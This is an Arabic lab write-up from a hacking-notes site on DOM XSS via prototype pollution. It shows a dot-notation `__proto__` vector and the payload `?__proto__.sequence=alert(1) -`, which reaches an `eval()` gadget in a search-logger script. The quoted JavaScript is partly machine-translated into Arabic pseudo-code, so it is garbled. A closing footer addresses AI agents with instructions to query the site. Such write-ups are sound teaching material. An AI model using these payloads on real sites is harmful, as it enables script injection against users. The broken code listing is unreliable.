> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md).

# XSS في DOM عبر متجه بديل لتلوث النماذج الأولية

### هجوم DOM XSS عبر متجه بديل لتلويث البروتوتايب

#### سياق المختبر

يُشغّل التطبيق JavaScript على جانب المتصفح ويبني كائنات معينة من إعدادات الرابط. الهدف هو **تلويث `Object.prototype`**  (أي حقن خاصية ستُورَّث بواسطة كائنات أخرى)، ثم العثور على \*\*

#### تحليل مصدر التلويث

**اختبار أولي (لا يعمل)**

الاختبار الأول هو حقن خاصية عبر الرابط:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

بعد التحقق من وحدة التحكم:

```javascript
console.log({}.foo)
```

النتيجة هي `غير معرّف`، ولا تظهر أي خاصية في `Object.prototype`.

<figure><img src="/files/cc7afc126e602770644f2ad67d6714e7f598edd9" alt="" width="563"><figcaption></figcaption></figure>

الخلاصة: محلل المعاملات المستخدم من قبل التطبيق \*\* لا يتعامل مع الترميز باستخدام الأقواس\*\* لـ `__proto__`.

```javascript
Object.prototype
```

<figure><img src="/files/18747d52d322f8c2b71d26e29f35579d60ae3d44" alt=""><figcaption></figcaption></figure>

**متجه بديل يعمل**

باستخدام ترميز بالنقطة:

```javascript
?__proto__.foo=bar
```

هذه المرة:

```javascript
console.log({}.foo)
```

يُرجِع بالفعل `bar`.

<figure><img src="/files/6e6d01fb9dae2a6c660d550be95ec5b5f0c484be" alt="" width="563"><figcaption></figcaption></figure>

`Object.prototype` يعمل التلويث مع هذا التنسيق، مما يشير إلى أن المحلل يقبل `__proto__.key` الترميز.

#### تحديد الأداة المستغلة

الـ `searchLoggerAlternative.js` يحتوي الملف على الشيفرة التالية:

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("فشل في تخزين الاستعلام");
    }
}

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            إذا كانت window.macros.hasOwnProperty(property)
                فأعد macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    إذا كان manager.params و manager.params.search موجودين،
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);
```

النقاط الرئيسية:

* `manager.sequence` يمكن أن تُورَّث من `Object.prototype`.
* تتضمن قيمته **مباشرةً في سلسلة تُمرَّر إلى `eval()`**.
* لا يتم إجراء أي تحقق من النوع أو المحتوى.

`eval()` لذا فهو **أداة قابلة للاستغلال**.

#### الاستغلال

الـ `sequence` خاصية مُلوَّثة على البروتوتايب العام:

```javascript
?__proto__.sequence=alert(1) -
```

الإجراء:

* `manager.sequence` يسترجع القيمة الملوثة من `Object.prototype`.
* الـ `a + 1` العملية تحوّل السلسلة إلى `alert(1) -1`.
* تُحقن هذه القيمة في السلسلة التي ينفذها `eval()`.

النتيجة:

* `alert(1)` يُنفَّذ عند تحميل الصفحة.
* الـ **يتم تشغيل DOM XSS بنجاح**.

<figure><img src="/files/f072ad67a0b84fa04976d2a8dfb99af96e83e17c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
